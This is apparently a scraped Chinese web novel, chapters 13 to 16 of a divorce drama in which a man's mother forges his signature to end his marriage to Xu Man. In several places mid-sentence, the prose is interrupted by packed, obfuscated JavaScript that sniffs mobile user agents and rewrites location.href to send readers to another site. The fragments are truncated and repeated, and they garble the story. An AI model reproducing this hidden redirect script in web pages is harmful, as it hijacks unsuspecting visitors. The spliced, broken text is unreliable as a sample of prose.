骆亦迟越想越恼,表情紧绷,后槽牙几乎咬碎,抄起电话就给许满打过去。 “对不起,您呼叫的用户已关机。” 冰冷的电子提示音从听筒里传出来,骆亦迟气得胸腔剧烈起伏,不信邪的挂断又打一次。 电子提示音毫无意外再次响起。 骆亦迟鼻孔冒烟怒火中烧,转而编辑了一条信息: 【你又在发什么神经?刚才有个姓林的律师给我打电话,说你要离婚?你最好给我解释清楚!】 刚点了发送,一个红色的感叹号出现了。 从来都是骆亦迟主动删人拉黑,他还从未在许满这里受到过这样狠绝的对待方式,双眼死死盯着那对比强烈过于醒目的感叹号,怒火倏地掀起三丈高,彻底炸了。 好,好,好,许满,真是小瞧你了,你有胆量了是不是?竟然还会拉黑删除这一套了! 对你这么好,供你吃供她穿,让你安心在家当一个阔太太,别的同龄人这时候都在朝九晚六做牛做马,你已经先一步实现了阶级跨越,你到底哪里不满足,执意要跟我离婚? 你不是爱我吗?爱我为什么还要跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427782|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我离婚? “艹!” 骆亦迟觉得面子都丢光了,越想越气,紧绷的神情渐渐扭曲,抓起手机狠狠地砸在了桌子上。 然而一个手机并不能将他的愤怒平息,他叉着腰,抓狂的办公司里踱来踱去,越想越恼越想越气,直接抄起车钥匙和屏幕碎裂的手机,拉开办公室的门就冲出去。 门一打开,对上一个探头探脑的脸。 秘书赵靖闻立刻站直了,肃整衣襟,收敛起八卦的表情,清了下嗓子,无视骆亦迟比锅底都黑的脸色,双手递上一份文件:“骆总,您有个到付快递,是走公账还是……?” 快递包装地址上“律师所”三个字闯入眼睛,骆亦迟太阳穴突突狂跳,心梗的差点一口气没提上来,抬手就把文件给扇飞了。 “什么狗屁快递?给我撕了!” “……” 赵靖闻望着气急败坏的小骆总的背影,默默去填了张报销单。 . 人不顺的时候,喝水都会呛。 许满说过,从公司到家这段路,要经过二十三个红绿灯。 二十三个红灯,骆亦迟不仅每个都打卡停顿了,还差点撞到一个买菜的老太太,一群放学的小学生,和一个骑着电单车送花的外卖小哥,并且因为见缝插针的加塞,收获了好几个司机的破口大骂。 他的素质在今天彻底崩盘,解锁了路怒症,像得了红眼病一样,一路上骂骂咧咧嘴里就没停过。 半个小时的车程,愣是因为种种意外,比平时多花了十多分钟,才到家。 到家后一开门,没见到许满的影子,满是夕阳余光的大客厅里,杜曼玲端正的坐在沙发上,悠哉悠哉的品着茶,看见他进来,说:“怎么这么早下班?” “妈你怎么来了?” 两人异口同声。 杜曼玲放下茶杯,颇有些阴阳怪气的说:“我来看看我又一次不小心流产的儿媳妇,谁知道来了竟然不在,也不知道跑哪儿去浪了,流产了,不家好好养身体。给你们打电话呢,一个两个的,又全都打不通,白白让我从中午等到现在,幸好当初你给了我一把钥匙,不然,我还不知道在哪儿流浪喝西北风呢。” “许满不在?” 骆亦迟只关注到这个信息,迈着大步跨进房内。 落日余晖穿透宽敞明亮的落地大玻璃窗,映入客厅,给室内的一切都染上一层金色光辉。 骆亦迟被一个璀璨的东西吸引,顿住了急匆匆的脚步。 那东西安安静静躺在桌子上,小小的一个,浸沐在夕阳的光晕下,折射出无数耀眼的光点。 鬼使神差的,他向着这个东西走过去。 他看到了一枚戒指。 一枚许满天天戴在无名指上的钻石戒指。 骆亦迟拿起它,举在光下仔细的看。 一行刻着他和许满名字缩写的花体字就这么跃进了眼睛里。 离婚? 这脾气闹得还真不小,连婚戒都不要了! 忽地,他猛然意识到什么,鞋都顾不上换,箭步冲进卧室。 样板间一样干净整洁的卧室里,骆亦迟急匆匆打开柜门,果不其然看见,属于许满的那几个格子里,空荡荡的,一件衣物都没有了。 14. 第 14 章 “找什么呢?翻箱倒柜的。” 杜曼玲跟在骆亦迟后头进来。 骆亦迟现在满脑子都是许满要跟他离婚这件事,根本听不见旁人的任何问话,一味神情紧绷的翻找着,固执的想要找到一些许满是闹脾气,不会离开他的证据。 杜曼玲疑惑的看他动作,满眼不解,“儿子,你怎么了?我看你有点不对劲。” 不说这句话还好,一说,骆亦迟皮球一样泄了气,绷不住了,“许满把自己的东西都拿走了。” “把自己的东西拿走了?什么意思?” “她要跟我离婚。” “离婚?” “对,离婚,律师都找好了,离婚协议书也准备好了,已经让律师寄给我,就等我收到后签字了。” “快递?你等等。” 杜曼玲转身回到客厅,再回来时,手里多了一个快递文件袋。 “是这个吗?你回来之前送来的,我看寄件地址是律所,还以为你们惹了什么官司。” 看到熟悉的快递包装,骆亦迟立刻炸了,“妈你干嘛签收啊!” 平白无故被这么一吼,杜曼玲也跟着嗓门大起来,“我又不知道这里面是什么东西,你冲我吼什么,我贴了快递费都没冲你发火,你还大声朝我撒气?” “妈我不是这个意思,我就是……就是……,” 骆亦迟脑子嗡嗡的,双手举在耳边,颓然无措道:“我没想到许满会跟我离婚。” “不就离婚吗?芝麻大点事儿,整得跟什么似的。” 杜曼玲一点都不惊讶,相反,倒是有点称心。 但又见不得骆亦迟这个样子,只好好言规劝道:“不就离个婚吗?离了好,正合我意,我早就看不惯她了。” 说着仿佛打开了话匣子,一一数落起许满的不是来。 “之前碍着你的面子,我从没说过许满的不是,现在既然你们感情破裂了,我也不顾忌那么多了,实话告诉你吧儿子,许满这人我一开始就没看上,家世普通,长相平平,配你差远了,性格也小家子气,还情商低,不会说话不会办事的,不仅对你的事业无益,我们骆家带她出去也没面子。要不是当初她未婚先孕,我压根不会同意这门亲事,我都怀疑她是算计好了的,不然,凭她这种出身,哪里能够得上我骆家儿媳妇的身份?” “现在她要离婚,告诉你,没那么容易,我们骆家不是旅馆,想来就来,想走就走。一个农村丫头,还有资格跟我们提离婚,我们对她够好了,吃穿用度一应俱全的供着,她嫁进来那是高攀,招呼都不打一声说离就离,就算是离,也应该是我们跟她离。儿子,听我的,别垮着个脸,振作起来,别被她拿捏了。” 骆亦迟不是第一次从杜曼玲口中听到这些描述,但第一次,她试着维护许满,“妈你别这么说,许满没有这样,她就是跟我生气,闹别扭呢。” 杜曼玲瞪了骆亦迟一眼,冷脸道:“她都要跟你离婚了,你还维护她?你是不是舍不得?” 骆亦迟一愣。 他舍不得? 对啊,他好像是,舍不得。 不对,他不是喜欢池柠吗? 他不是对肉_体背叛池柠充满了负罪感?痛恨自己,便将这份过错一同怪罪在许满身上,要让她一起承担,所以才不喜欢她吗? 现在许满离开,他应该高兴才是,为什么会难过?会不舍得? “听妈的,离就离吧,离了之后妈给你做主,找个门当户对好拿捏的。你们现在没孩子,瓜葛少,这婚也能离得干脆,不过事先说好,属于我们的钱,一分都不能给她!” 杜曼玲说完,撕开了快递袋。 她一目十行浏览完这份离婚协议,发现许满提的那些要求,除了婚后正常所得,一分都没多要。 这许满还算拎得清,嫁进来没给骆家做过贡献,现在要走了,也没有狮子大开口狠敲一笔。 几万块钱,她一个包的事儿,当场就能给清,不用拖拉,签完字一领证,关系就结束了。 本来还因为许满又流产而心情不好,想来劝导她几句,现在好了,要离婚了,事儿也省了。 杜曼玲脸上的阴霾一扫而光,只盼望骆亦迟赶紧把字签了,她也好张罗着给他再安排个门当户对的亲事。 “都提前签好字了,就剩你了,喏,儿子给你,你先看看,我给你找支笔来。” 骆亦迟下意识推开那几张纸,执拗的不看一眼。 “除非她跟我说清楚,否则我不会签的!” “她现在人都走了,上哪儿跟你说清楚去?” “她上哪儿我就去哪儿找她!” 可是许满能去哪儿呢? 骆亦迟想,对的,应该有个人知道。 拿起屏幕四分五裂的手机,在蛛网似的屏幕里,骆亦迟找出林逸的那串号码,拨过去。 电话接通,他依旧是那副质问的口吻:“告诉我,许满她去哪儿了?” 林逸公事公办的回答:“骆先生,是我说得不够清楚吗?我只负责离婚事宜,其他的一概不问不答。” 骆亦迟:“你一定知道许满在哪儿,你告诉我,否则我不签那鬼协议!” 林逸处变不惊,反问骆亦迟:“许女士去哪儿,骆先生你做为丈夫,不应该比我更清楚吗?” “我要是知道我还问你?” “你作为丈夫都不清楚,凭什么觉得,一个和许女士只见过两三面的律师会清楚?还有,骆先生,作为律师,我有必要提醒你一下,正常分居达到两年,是可以自动离婚的。” 当头棒喝! 骆亦迟怔住了。 看来许满是铁了心要跟他离婚。 无论他签还是不签,这场婚姻最后也会以失败来收尾。 许满说得没错,他们的婚姻是结不出果来的。 放下手机,骆亦迟开始认真思考,许满会去哪里。 他思考了很久,一直等到将脑海里许满会去的地方搜索了个遍,才意识到,自己根本得不到答案。 许满在这个城市没有朋友,没有亲人,唯一有联系的地方,就是老宅。 但这时候许满不会去老宅。 她会去哪里? 酒店吗?或者回了她老家? 结婚一年多,骆亦迟没记住许满的身份证号码,没留意过许满身份证上的那串地址,更没去过许满老家一次。 他只知道,那是连城东边一个叫做桑溪镇的小县城,具体地址是哪里,他并不清楚。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427783|153792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 印象中许满跟他提过几次,是在去年过年的时候,许满查好导航,告诉他开车走高速,两个小时就到了,当天去还可以当天回。 他没放在心上,带着全家和池柠一起去海南过了个年,就把这件事抛在了脑后。 后来过完年,许满不提了,他也就忘了。 骆亦迟颓丧的垂下手。 杜曼玲皱眉望着他这副丧气样子,气急败坏:“你就这么不想跟她离婚?” 骆亦迟双手盖在脸上,声音闷闷的从指缝里传来,“妈,你不懂。” 他其实说不上来许满哪里好,没结婚前,许满是个闷葫芦,没脾气,温吞的跟根软面条一样,但胜在温柔体贴,乖巧懂事,事事都依着他。 后来结婚了,许满还是那副样子,极少对他发脾气,顶多会唠叨他乱丢东西,或是嗔怪他在外面玩得太晚不回家。 这样温顺不惹事的许满,给了骆亦迟放纵的资格和底气,让他单方面的以为,不管多放肆,多离谱,只要在原则之内,许满都不会责怪他,不会对他怎样。 后来发生变化,是在涉及到池柠的时候。 只要提到池柠,许满就会像变了一个人,会对他生气,会跟他吵架,会不理他。 但抛开与池柠的矛盾,许满还是爱他的,她会顺着他的心意,让他因为工作太晚而深夜晚归时,还能吃上一碗舒心暖胃的热饭。 骆亦迟享受这样有烟火气的日子,也习惯这样有人挂念有人照顾的日子。 没有人是完美的,许满不完美,但杜曼玲说的那些缺点,在骆亦迟看来,都不是缺点。 可是现在,这个对他生气,给他做饭,宠着他的人要离开他了。 他想不明白的是,许满为什么要跟他离婚? 她不是爱他吗? 爱他怎么会离开他呢? 离开他,她能做什么呢? 骆亦迟也说不上来为什么,就是觉得,事情不应该是这样子的。 离婚协议不能签,签了,就没有挽回的余地了。 许满就真的不会回来了。 “妈,你先回去吧,我想静静。” 骆亦迟疲惫的说。 . 坐在回老宅的车上,杜曼玲越想越不对劲。 骆亦迟看起来很不甘心,所以才不愿意跟许满离婚。 要说这许满,穷丫头一个吧,却精明得很。 一声不吭的,就把骆亦迟置入了被动的境地里。 早早就准备好了离婚协议不说,还特意把婚后财产算得很少,不仅减少了很多扯皮的时间,还能给骆亦迟留个不争不抢的好印象。 哪个离婚的不想分走婚后一半家产?身为公司大股东之一,她见得多了,骆家企业里每年都不乏离婚的员工,算得精细的,连对方的社保公积金都要分走一半。 她许满为什么什么都不要,只要自己工作时赚的那点芝麻小钱,就几万块钱?她图什么? 杜曼玲越想越不安。 不行,这婚必须离。 夜长梦多,既然儿子不积极,那她就推一把,变被动为主动。 “老张,先别回老宅了,你给周律师打个电话,问他有没有空,我有点事儿想问问他。” 15. 第 15 章 早上九点,林逸画着精致妆容,拿着咖啡和三明治,走进律所大门。 “早啊,小杨。” 涂着哑光裸色的嘴唇跟前台姑娘小杨打过招呼,小杨从早餐中抬起头,叫住她:“哎,林姐……林姐!” 林逸回头,短发在空中划出一个优美弧度。 小杨指指走廊尽头最里面那间办公室,小声说:“吴主任要你来了去他办公室一趟。” 吴主任是这所律所的最高负责人,林逸上司的上司。 “吴主任找我?什么事?” “刚才一个一看就很有钱的富太太,带着一个瘦瘦高高的西装男,气势汹汹来找我们吴主任。你没见吴主任那副毕恭毕敬的样子,点头哈腰的就把他们请进去了。” 林逸不禁燃起八卦之心:“能让吴主任点头哈腰,听起来来头不小啊,是哪路大神?” 小杨摇头:“那个富太太我不认识,听吴总称她为''骆太'',不过那个西装男我知道,是连城大名鼎鼎的周泽明周律师。” 林逸眉头微皱,骆太?周泽明? 她最近接触过的姓骆的,只有骆亦迟一个,但许满来过律所,小杨是见过许满的,所以这位骆太肯定不是许满,那就只有一个可能了,骆亦迟的妈妈,杜曼玲。 而周泽明嘛,几年前因为代理了连城一家头部房地产公司老板的离婚案,让白手起家的老板娘净身出户,一夜之间成为连城家喻户晓的人物。 这两个人组合在一起,一定不会有好事。 林逸正色做好准备,把咖啡和三明治交给小杨,让她帮忙送进自己办公室,然后来到吴主任办公室门前,轻轻敲了敲门。 门里有谈话声。 吴主任嗓音沉沉,“进来。” 林逸推门进去,只见办公桌前的真皮沙发上,吴主任和杜曼玲面对面而坐,周泽明面容严肃的站在杜曼玲旁边,看到林逸,点了下头,算是打过招呼。 林逸也点了下头以示回礼,几句寒暄过后,吴主任直接问了:“听说你代理了骆太太儿子的离婚案?进展如何了?” 林逸用很公事的口吻说:“目前进展顺利。” 吴主任把有许满签字的那份协议推到林逸面前,“关于离婚协议上的内容,骆太太有些不明白,希望你能帮她解释解释。” 林逸并不接:“协议内容只涉及当事人双方,跟骆太太没有任何关系,吴主任,我不明白,为什么要向骆太太解释?” 杜曼玲看许满不顺眼,连带着也不喜欢林逸,未等吴主任再发话,她冷冷开口了,“当事人是我儿子,我自然有权利过问,周律师,把我们新拟的协议给林律师看看。” 周泽明从公文包里拿出一份文件,递到林逸面前。 林逸见封面上《离婚协议书》这五个大字,狐疑的接过,翻开,接着就是一惊。 这份离婚协议,跟之前她给许满拟的那份出入不大,唯一的区别,就是剔除了许满婚后所得那部分,许满必须得净身出户。 而最关键的,协议最后男方签字那一栏,已经有了签名,“骆亦迟”三个字龙飞凤舞,正力透纸背烙在上面。 林逸眉头紧皱,这姓骆的母子做事未免太绝了,就几万块,又没多要,至于做到这种地步?还劳动周泽明和律所负责人出面。 真的是,越有钱越抠门。 她将这份协议拍在桌子上,冷声道:“骆太太,作为许满的代理律师,我不同意这些内容。” 杜曼玲高昂着头,一副志在必得的样子:“同不同意不是你说了算,是许满说了算。实话告诉你吧林律师,许满要离婚,那错必然不在我儿子身上,我咨询了周律师,许满没有尽到一个妻子的义务,也没对我们家做过任何贡献,既然已经走到了这一步,那我只好顺水推舟了。她想离婚,必须同意协议书上的条件,我儿子已经在上面签字了,许满如果要签,只能在这份协议书上签,其他的,我们这边不认。” 林逸紧握拳头,几乎咬牙切齿了。 周泽明依旧笔直的站在杜曼玲身后,守护神似的,绷着脸一动不动。 吴主任见机咳了一声,借口带林逸去拿茶叶,把林逸叫到外面,半是劝导半是安抚的说,“两份协议内容我都看过了,站在各自的立场上,你的那份没错,骆太太带来的那份也没有错。要我说,你先别急着拒绝,先跟许女士打个电话,问问她的意见,没准她同意呢。” “可是吴主任……” “林逸,你是个经验丰富的律师,别太轴了,先想想客户的诉求和动机是什么,再做决定不迟。” 吴主任点到为止,不再多说,自己去拿茶叶了。 林逸站在原地,冷静的想了想,几分钟后,找了个没人的地方,拨通了许满的电话。 . 桑溪镇流云湾村。 许晋文家院子里,一个清瘦的身影正忙碌着。 “又不在家里长住,收拾它干啥呢?” 许晋文帮忙给许满打开水龙头开关,细密的水花从仿雨点喷头里喷出来,迎着阳光,像春风里温柔的细雨,落在新移植的花苗上。 许满一手控制水流,一手摆弄嫩绿的花叶,“你怎么知道我这次回来不是长住呢?” “不走啦?” “也许呢。” 许满想找点事干,一回到流云湾的老家,就将院墙内外荒废的花坛收拾了起来,买了点花苗花种,分类种了进去。 花草怡情,养花静心,许满的奶奶爱种花,许满从小耳濡目染,也染上了这个爱好。 摆弄花草时,不管多漫长的时光,仿佛都变得柔软下来,在盈盈暗香和浅浅芳华里,许满感到心宁,而不孤独。 许晋文盲猜:“吵架了?” “没有。” “趁早走哦,在娘家待久了婆家要说闲话的。” “你看你,我回家陪你你还不乐意了。” “你哪儿是陪我哟,你是来给我布置任务的,你一走,这些花花草草我可不会弄。” 有电话在响,许晋文丢下这句话,关上水龙头进了屋。 不一会儿,拿着一个手机出来:“满儿,你电话,还得我来帮你拿。” 许满暼了一眼来电名字,放下工具,摘下手套,去水龙头那里洗了手,接过手机特意走远一点,确保许晋文听不到,才按下接听。 是林逸打来的。 “许女士,很抱歉打扰你,有个不好的消息我不得不告诉你。” 许满心头一紧,电话号码换过之后,这还是林逸第一次打过来,听她语气这么紧张,难道是事情办得不顺利? 许满压低声音:“是不是骆亦迟不同意离婚,不想签字?” 林逸:“不,骆先生同意离婚,并且签字了。” 许满松了一口气,“那这是个好消息啊。” 林逸:“不好的消息是,骆先生没在我们给的那份离婚协议书上签字,他们重新拟定了一份协议,要求您婚后所得归他所有,而骆先生,在重拟的协议上签字了。” “要我净身出户啊?”许满直白的说。 林逸:“是这样的。” 原来骆亦迟对她如此绝情,许满沉默了几秒钟,说,“好,我知道了,你把协议内容发我吧,如果没有其他过分要求,那么我会签字。” 林逸没想到许满接受得这么快,“许女士,如果你对协议内容不满,我们可以提起诉讼……” 许满打断林逸,“林律师,你见过那么多破碎的家庭,我想你一定能理解我。我在这场婚姻里过得十分疲惫,每天都在内耗,我希望能早日脱离苦海,我最初的诉求,就是离婚,只要能离,怎样都行,毕竟,没有什么比自由和阳光更重要了。” 林逸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但陌生人却将那沓资料伸到她面前,开口,就是没有任何感情的陈述:“许小姐,你好,我是骆先生的代理律师,周泽明,骆先生有事不能亲自出面,全权委托我办理你们的离婚事宜,这是他的资料,麻烦您跟我一起进去吧。” 许满侧过头,莫名其妙的看着这个一脸冷漠的周律师,阴阳怪气的说:“你全权代理了?在骆家就是能长见识,我第一次听说,离婚还能找人代劳。” 周泽明装作没听出其中的讽刺,“许小姐你知道的,你执意离婚,伤透了骆先生的心,骆先生他,并不想见你。” 许满:“哎,那可真是对不起,伤到他脆弱的心灵了,早知道我就早点提离婚了,现在才离,还是太仁慈。” 许满说完,不愿再跟这人多说一个字,站起来径直走向离婚窗口。 离婚窗口没有其他等待的人,许满将证件交过去,整个流程办理下来丝滑顺利,毫不拖泥带水。 就像,都提前打点好了似的。 许满心知肚明,没有拆穿。 第一次沾了有钱人的光,她微笑接过工作人员递回来的结婚证和离婚证,那证件敞开着,结婚证上的双人照和离婚证上的单独寸照形成强烈对比,一个笑得灿烂,一个唇线紧抿,一个有肩可靠,一个形单影只。 许满看了会儿那照片,看完收好证件,转身走了。 周泽明跟在她身后。 两人一前一后走出办事大厅。 许满向前走,周泽明向右后方拐。 走了没多远,鬼使神差的,许满驻足,向右后方看去。 也许是想确认一下骆亦迟到底有没有来,也许是想看看周泽明要去干什么,总之,许满停了下来。 她看见,周泽明提着公文包,止步在一辆黑色轿车旁。 后排车窗缓缓摇下,周泽明弯腰,手伸进车窗内,将证件递进去,低头,向里面的人说着什么。 隔得远,车窗玻璃贴着深色的膜,许满看不见车里的人。 但那车她却认得,也曾坐过几次。 那是骆彦怀的车。 16. 第 16 章 【家里那些花都焉了,你准备不管它们了吗?】 打完这行字,骆亦迟调出相册,选中今早出门时拍的一张插花照片,点击发送—— 果不其然,又一个醒目的红色感叹号。 滑动屏幕往上,红色感叹号一屏又一屏,见不到顶。 骆亦迟放下手机,靠坐在办公椅背上,烦闷的揉了揉眉心。 那些花他无论如何都照顾不好,不是枯了,就是根茎烂了。 它们在期盼主人回来,来拯救它们,可是已经一个月了,它们的主人还不回家,电话和微信都联系不上,而林逸又拒绝提供任何相关消息。 骆亦迟快要疯了,就差打电话回母校,问校领导索要许满的家庭住址,好驱车去将她找回来。 可那又能怎样呢? 许满铁了心要跟他离婚,把她找回来,也只是把他们的婚姻往无可挽回的境地更推进一步罢了。 其实他还侥幸的抱有一线希望,固执的认为,许满没那么绝情,她就是想出去玩一玩放松一段时间,玩够了,估计就回来了。 揣着这点自欺欺人的想法,骆亦迟安安稳稳的待在连城,等许满自己醒悟,自己回来。 叮咚—— 手机传来一声消息提示声,骆亦迟猛地坐直了,迫不及待按亮手机一看,满屏红色感叹号的界面上飘出池柠的信息,眼底的期待再次幻灭。 【听阿姨说你和许满离婚了,怎么回事?】 骆亦迟又瘫回椅子上。 许满把和他相关的人都删除了,包括池柠。 池柠发现的时候,打电话问他怎么回事,他支支吾吾半天,借口说吵架了。 后来池柠想劝俩人和好,给许满发送好友请求,许满一直没通过,几次去骆家,也没见许满在,池柠才晓得两人这次气生的有点大,还替许满骂了骆亦迟,没想到今天忽然就收到消息,说两人离婚了。 骆亦迟等心情平静了会儿,才回复池柠:【没离。】 池柠:【那你妈妈怎么发这样一张照片?】 池柠:【图片.jpg】 池柠:【是你爸爸先收到,转发给我的,让我问问你怎么回事,小迟,你们不是单纯的吵架吗?怎么就离婚了?你是不是做了对不起许满的事?】 骆亦迟没心思看那一大段文字,直接点开对话框里的图片,一看,是张贴着自己单人照片的离婚证,登时傻眼了。 然而还未等他仔细盘问,办公室的门从外向内被人推开了。 杜曼玲旁若无人的走进来,兴致勃勃往沙发上一坐,包一放,跷起二郎腿,趾高气昂的宣布:“儿子,今天我替你办了一件大事。” 骆亦迟放下手机,从桌上捞起一本文件,假装在办公,“什么大事?” 秘书赵靖闻送进来一杯咖啡,杜曼玲接过慢悠悠品了几口,摆出一脸卖关子的表情。 “你猜。” 猜什么猜,骆亦迟现在烦得很,没心情猜。 “我有事要忙,没空猜,妈你有什么事就直说吧。” 杜曼玲便不卖关子了,放下咖啡,从包里掏出一沓照片,一一摊开摆在面前的茶几上。 “你这不是离婚了吗,我给你找了几个门当户对的姑娘,都是你见过的。尤其这个方嘉敏,中学时你们经常一起玩,寒暑假还一同去欧洲游过几次学,我老早就看出来她对你有意思,这不你一离婚……” “谁说我离婚了?” 骆亦迟下意识抬眼,眸光凌厉打断杜曼玲,“妈,我还没离呢。” 他的眉头皱成了川字,强调道:“我没离婚,你不要天天往外说,更不要安排我和其他姑娘见面,我没离,也不想离!” 杜曼玲往沙发靠背上一靠,抱臂道:“话说晚了。” 骆亦迟微愣,没明白过来什么意思。 只见杜曼玲不急不缓从包里拿出一个红本本,甩在茶几上,盖住了姑娘们的照片。 “今天上午,我托周律师办的,你看看,还热乎着呢。” 银白色的“离婚证”三个大字一闪而过,骆亦迟瞥了一眼,忽然想到刚才池柠发给他的照片,不确信问道:“这谁的?” “瞧你说的,还能是谁的?总不会是我和你爸的。” “所以这是……” “当然是你的。” “!” 骆亦迟一脸“你在开什么玩笑”的表情,下一秒,身体诚实的冲过来,一把抓起茶几上的离婚证,翻开,果不其然看见自己的名字和单人照片,忽然心里咯噔一下。 这是他的离婚证? 他什么时候去办的? 他自己怎么不知道? “妈,你哪儿弄的?” 刹那间,熟悉的画面和相似的记忆涌入脑海,他隐约意识到了一种可能,身心猛地一震。 骆亦迟呼吸颤抖,声音竭力镇定,“这照片都p过头了,钢印也盖的不清不楚,一看就是假的,妈你别被□□的给骗了!” 说罢像是抓着某种很讨厌很恶心的物件一样,将离婚证往桌子上一摔,转身回到办公桌翻看起文件来,但真个人却心不在焉。 杜曼玲固执的拿起离婚证,再次送到他面前,“你再看看呢,这照片不就是去年你拍结婚登记照时顺便拍的那张?我是你妈,还能骗你不成?” 骆亦迟看看离婚证上自己的照片,又看看杜曼玲,脸上的不解和疑惑几乎凝成实质。 有那么一瞬间,他想,这玩笑开得真的有点过了。 离婚必须双方亲自到场,他没在离婚协议上签字,也没去现场,怎么可能有离婚证? 对,肯定是在骗他,这证肯定是假的! 像是想证明什么,又或者是想极力否认什么,骆亦迟把离婚证再次拿了起来。 软制的封皮缓缓掀开,他一个字一个字,一个钢印一个信息的认真确认。 确认着确认着,他眼中的不明白越来越多。 照片是他的,钢印是有的,信息是对的。 所以,证件是真的。 但他还是无法相信眼前的事实。 他亲爱的妈妈,都背着他做了什么? 他不理解,很不理解。 为什么又这样? 为什么总喜欢做这些事? 替他决定上什么大学,替他决定该不该离婚。 为什么一次又一次的,不问问他的意愿,不问问他想不想,就擅自给了他这样一个结果? 她为什么要这样做啊? 他还在等许满回来呢。 有这个东西在,许满还会回来吗? 压抑烦躁的心口咔嚓一声,裂出道缝隙,一股很久之前就盘踞在心底的火气从那里冒出来,滋滋的,攀着神经,不断往上,妄图焚烧他的理智。 他闭上眼,深呼吸,用力捏着那本离婚证,平整的纸因为受力挤压,皱出难以修复的痕迹。 “妈,你都背着我做了什么?你替我在离婚协议上签字了是不是?”他几乎肯定的说。 杜曼玲得意道:“周律师说了,离婚涉及的当事人只有你们两个,不像其他法律那样马虎不得,只要许满自己签了字,她自己认了,这离婚证就算有效了。” 言外之意,不用管他的想法,是吗? 心底传来一声巨响,是骆亦迟悬了一个月的心,吧唧一声,摇摇摆摆坠了地,死了。 事实果然如他所想那样,他攥着皱巴巴的离婚证,纵有满腔怒火,却仿佛被人紧紧扼着喉咙,不得发泄出来,只能竭力忍着,连呼吸都得用尽力气,才能抵达肺腑,才能将这汹涌澎湃的怒火给压下去。 良久,他的情绪稍稍平复。 他瞪着杜曼玲,几乎是用卑微的,恳求的口吻在说,“妈,你又擅自替我做决定?这是第几次了?你是不是很乐意亲手摧毁我的幸福,你要把我毁掉才满意是吗?” 杜曼玲一愣,脸色微僵,反驳道:“你怎么能这么想?我做这一切难道不都是为了你?怎么会想毁掉你?” “为了我?呵呵,你口口声声为了我?那为了我什么?” “当然是为了你能幸福。” “那你看看,我幸福吗?” 骆亦迟微抬着头,看向杜曼玲时,眸光沉沉的,暗藏汹涌,像是有东西想冲破那层薄薄的角膜,把里面的黑暗东西剖开到她面前来。 有那么一瞬间,杜曼玲的心底闪过一丝心虚,但是很快的,就又被高傲替代。 她避开骆亦迟的视线,振振有词道,“那许满并不能给你的婚姻助力,只有离了婚,你才能大胆寻找自己的幸福,我这都是为你好!等你以后就知道了!” 又是这话。 骆亦迟一个字都不想听。 他烦躁的站起来,一手叉腰,一手乱无章法的搓着额头,在空地上来来回回踱步,试图从这满腔愤恨的情绪里,扒拉出一丝理智。 “妈你真的是为我好吗?你要不要问问你自己,做这一切究竟是为了什么?是你自私的面子,还是你自我感动的想法?” 杜曼玲从来没从骆亦迟嘴里听到过这样恶毒的话,登时怔住了,“你竟然是这样看我的?” “难道不是吗?我就不明白了,你不让我喜欢池柠,我能理解,可是许满做错了什么?她哪里不好了,你总撺掇我跟她离婚,你到底看不上她哪里了?” “她哪儿我都看不上,一个乡野丫头,骗了你就算了,还妄想通过孩子拿捏你,实现跃级大翻身,做梦!” “所以,这就是你代替我签离婚协议的原因?就因为你看不上她?妈你知不知道,你这样做是犯法的!” 仿佛触了杜曼玲的逆鳞,她骤然拔高声音,“怎么,你是我的儿,你还能告我不成?” “如果你不是我妈,我早在你毁我签证那年就将你告了!” 杜曼玲难以置信的看着骆亦迟,难以想象,这样的话竟然从她最亲爱的儿子嘴里说出来的。 “好好好,原来你早就存了这种心思,早就想告我了!这就是我的好儿子,我苦心积虑费尽心思为了我的好儿子,到头来我的好儿子却成了白眼狼!来,拉开门,让大家看看,看看我的好儿子,为了一个两个不爱他的女人,要把他妈妈送上法庭,送进监狱!” “妈!” “别叫我妈?我没见过哪个儿子,为了一个女人,要去告他妈!你不是要告吗?你去啊,你最好现在就去把许满那个贱女人给找回来,你们两个人一起手拉手,把我给告了!去啊,你快去!我就在这里等着,等着你告我!” “艹!” 愤怒再也遏制不住,踏着理智冲破牢笼,直窜脑门。 骆亦迟神情紧绷,后槽牙咬得咯吱响,胸腔剧烈起伏,积攒了一肚子怨愤无处发泄,只能恨恨的一脚踹向旁边的茶几。 哗啦啦一声巨响,玻璃茶几翻倒,咖啡顺势浇了一地,将美女们的照片染污。 骆亦迟看到那碍眼的离婚证,气急败坏的捞起来,像当年杜曼玲剪毁他的签证一样,当着她的面,将那证件唰唰几下撕成了碎片,一扬,抄起手机和外套,拉开办公室的门,在员工们探头探脑的窃窃私语声中,大步跨出了公司。 他开着车,一路疾驰,漫无目的驰骋在大街上,不知道该去哪里,回过神来时,已经停在了民政局门口。 民政局已经下班,只有保安守在伸缩门旁,骆亦迟目光定定穿过伸缩门望向里面,满腹思绪油然而生。 许满今天来过这里。 不知道她来时,是怎样的心情。 是难过的?还是开心的? 又或者觉得终于解脱了,将他痛痛快快的骂了一顿? 骆亦迟猜不出来。 他不了解许满,不知道许满每个表情、每个动作的含义,无法从她的日常交谈和行为中,判断出她的情绪和想法。 他不是她肚子里的蛔虫。 